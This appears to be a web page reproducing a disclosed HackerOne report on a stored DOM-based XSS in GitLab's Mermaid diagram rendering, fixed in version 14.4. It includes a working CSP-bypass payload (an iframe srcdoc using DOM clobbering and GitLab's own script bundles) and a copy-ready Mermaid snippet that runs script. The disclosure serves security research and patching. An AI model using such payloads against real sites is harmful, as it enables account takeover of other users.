Skip to content
XSS Disclosed report Advanced

Stored DOM-based XSS in Mermaid diagrams

GitLab

Originally disclosed on GitLab

  • Fixed in 30 days
  • Disclosed after 30 days

HackerOne report #1345589 by saleemrashid on 2021-09-21, assigned to @ngeorge1:

Report | How To Reproduce

Report

NOTE! Thanks for submitting a report! Please replace all the (parenthesized) sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!

Summary

XSS when rendering Mermaid diagrams in Markdown, using classDiagram-v2.

CSP bypass

The CSP bypass works by creating an <iframe> with the following HTML:

HTML
<form id="gon"><input name="u2f"/></form><br id="js-register-token-2fa">  
<p id="js-register-token-2fa-setup">${parent.document.querySelector('meta[name=csrf-token]').outerHTML}</p>  
<script src="https://assets.gitlab-static.net/assets/webpack/runtime.a6eee683.bundle.js"></script>  
<script src="https://assets.gitlab-static.net/assets/webpack/main.40ed7f48.chunk.js"></script>  
<script src="https://assets.gitlab-static.net/assets/webpack/commons-globalSearch-pages.admin.abuse_reports-pages.admin.application_settings.ci_cd-pages.admin.gr-f196c612.69ea2ffd.chunk.js"></script>  
<script src="https://assets.gitlab-static.net/assets/webpack/commons-pages.admin.sessions-pages.groups.omniauth_callbacks-pages.ldap.omniauth_callbacks-pages.omn-c3aaf8c4.5768d554.chunk.js"></script>  
<script src="https://assets.gitlab-static.net/assets/webpack/commons-pages.profiles-pages.profiles.accounts.show-pages.profiles.billings-pages.profiles.keys-page-6145ef8e.b9c7e4f8.chunk.js"></script>  
<script src="https://assets.gitlab-static.net/assets/webpack/commons-pages.profiles.accounts.show-pages.profiles.two_factor_auths.170fd497.chunk.js"></script>  
<script src="https://assets.gitlab-static.net/assets/webpack/pages.profiles.two_factor_auths.01996eaa.chunk.js"></script>  

This uses DOM clobbering to construct a valid gon object and adds enough JavaScript files for the U2F settings page to reach this code https://gitlab.com/gitlab-org/gitlab/-/blob/431e1e8578ae696af3ec9a9eb4cba16677822462/app/assets/javascripts/authentication/u2f/register.js#L67. Because the JavaScript files are from GitLab itself, they are allowed by the CSP.

JavaScript
  renderTemplate(name, params) {  
    const templateString = $(this.templates[name]).html();  
    const template = lodashTemplate(templateString);  
    return this.container.html(template(params));  
  }

  renderSetup() {  
    this.renderTemplate('setup');  
    return this.container.find('#js-setup-token-2fa-device').on('click', this.renderInProgress);  
  }  

This code renders the contents of #js-register-token-2fa-setup as a Lodash template, which allows executing arbitrary JavaScript with the ${alert(1)} syntax.

In the next section, the CSP bypass has been mangled to be valid Mermaid syntax (not allowed spaces, double quotes, parentheses, or curly braces).

Steps to reproduce
  1. Add the following to a Markdown file (e.g. README.md) or an issue/merge request comment:
```mermaid  
classDiagram-v2  
  class X {  
    <iframe/srcdoc='<form/id=gon><input/name=u2f></form><br/id=js-register-token-2fa><p/id=js-register-token-2fa-setup>$#123;alert#40;parent.document.querySelector#40;#39;meta[name=csrf-token]#39;#41;.outerHTML#41;#125;</p><script/src=https://assets.gitlab-static.net/assets/webpack/runtime.a6eee683.bundle.js></script><script/src=https://assets.gitlab-static.net/assets/webpack/main.40ed7f48.chunk.js></script><script/src=https://assets.gitlab-static.net/assets/webpack/commons-globalSearch-pages.admin.abuse_reports-pages.admin.application_settings.ci_cd-pages.admin.gr-f196c612.69ea2ffd.chunk.js></script><script/src=https://assets.gitlab-static.net/assets/webpack/commons-pages.admin.sessions-pages.groups.omniauth_callbacks-pages.ldap.omniauth_callbacks-pages.omn-c3aaf8c4.5768d554.chunk.js></script><script/src=https://assets.gitlab-static.net/assets/webpack/commons-pages.profiles-pages.profiles.accounts.show-pages.profiles.billings-pages.profiles.keys-page-6145ef8e.b9c7e4f8.chunk.js></script><script/src=https://assets.gitlab-static.net/assets/webpack/commons-pages.profiles.accounts.show-pages.profiles.two_factor_auths.170fd497.chunk.js></script><script/src=https://assets.gitlab-static.net/assets/webpack/pages.profiles.two_factor_auths.01996eaa.chunk.js></script>'>  
  }  
```  
  1. View the rendered file or comment. A pop-up dialogue shows the user's CSRF token as a demonstration. However, any JavaScript could be executed instead (it would also be trivial to use JavaScript to hide the <iframe>)
Impact

JavaScript execution as the authenticated user allows account takeover without the user having to interact with the page.

Examples

Private project on GitLab.com https://gitlab.com/saleemrashid/mermaid-exploit-7032e404

What is the current bug behavior?

The HTML special characters are not escaped, allowing an <iframe> to be injected into the page and XSS.

What is the expected correct behavior?

The HTML special characters would be escaped and shown in the diagram.

Output of checks

This bug happens on GitLab.com

Impact

JavaScript execution as the authenticated user allows account takeover without the user having to interact with the page.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity XSS bug in gitlab.com. GitLab made it public on 22 October 2021. Fixed in version 14.4.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.